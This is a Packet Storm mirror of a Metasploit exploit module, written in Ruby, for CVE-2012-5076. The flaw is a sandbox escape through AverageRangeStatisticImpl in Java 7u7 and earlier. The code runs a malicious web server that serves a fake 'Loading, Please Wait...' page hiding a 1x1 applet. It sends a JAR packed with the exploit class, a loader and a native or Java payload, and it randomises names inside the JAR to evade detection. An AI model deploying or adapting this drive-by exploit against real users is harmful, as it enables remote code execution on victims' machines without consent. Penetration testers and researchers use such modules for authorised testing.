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Juan vazquezPACKETSTORM:119723
HistoryJan 23, 2013 - 12:00 a.m.
Java Applet AverageRangeStatisticImpl Remote Code Execution

2013-01-2300:00:00
juan vazquez
packetstormsecurity.com
0.971 High
EPSS
Percentile
99.7%
JSON
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({ :javascript => false })  
  
def initialize( info = {} )  
  
super( update_info( info,  
'Name' => 'Java Applet AverageRangeStatisticImpl Remote Code Execution',  
'Description' => %q{  
This module abuses the AverageRangeStatisticImpl from a Java Applet to run  
arbitrary Java code outside of the sandbox, a different exploit vector than the one  
exploited in the wild in November of 2012. The vulnerability affects Java version  
7u7 and earlier.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability discovery at security-explorations  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2012-5076' ],  
[ 'OSVDB', '86363' ],  
[ 'BID', '56054' ],  
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],  
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5076' ],  
[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]  
],  
'Platform' => [ 'java', 'win', 'osx', 'linux' ],  
'Payload' => { 'Space' => 20480, 'DisableNops' => true },  
'Targets' =>  
[  
[ 'Generic (Java Payload)',  
{  
'Platform' => ['java'],  
'Arch' => ARCH_JAVA,  
}  
],  
[ 'Windows x86 (Native Payload)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
}  
],  
[ 'Mac OS X x86 (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86,  
}  
],  
[ 'Linux x86 (Native Payload)',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 16 2012'  
))  
end  
  
  
def setup  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "Exploit.class")  
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "B.class")  
@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
  
@exploit_class_name = rand_text_alpha("Exploit".length)  
@exploit_class.gsub!("Exploit", @exploit_class_name)  
super  
end  
  
def on_request_uri(cli, request)  
print_status("handling request for #{request.uri}")  
  
case request.uri  
when /\.jar$/i  
jar = payload.encoded_jar  
jar.add_file("#{@exploit_class_name}.class", @exploit_class)  
jar.add_file("B.class", @loader_class)  
metasploit_str = rand_text_alpha("metasploit".length)  
payload_str = rand_text_alpha("payload".length)  
jar.entries.each { |entry|  
entry.name.gsub!("metasploit", metasploit_str)  
entry.name.gsub!("Payload", payload_str)  
entry.data = entry.data.gsub("metasploit", metasploit_str)  
entry.data = entry.data.gsub("Payload", payload_str)  
}  
jar.build_manifest  
  
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })  
when /\/$/  
payload = regenerate_payload(cli)  
if not payload  
print_error("Failed to generate the payload.")  
send_not_found(cli)  
return  
end  
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })  
else  
send_redirect(cli, get_resource() + '/', '')  
end  
  
end  
  
def generate_html  
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|  
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|  
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|  
html += %Q|</applet></body></html>|  
return html  
end  
  
end  
`
0.971 High
EPSS
Percentile
99.7%
JSON
Java Applet AverageRangeStatisticImpl Remote Code Execution

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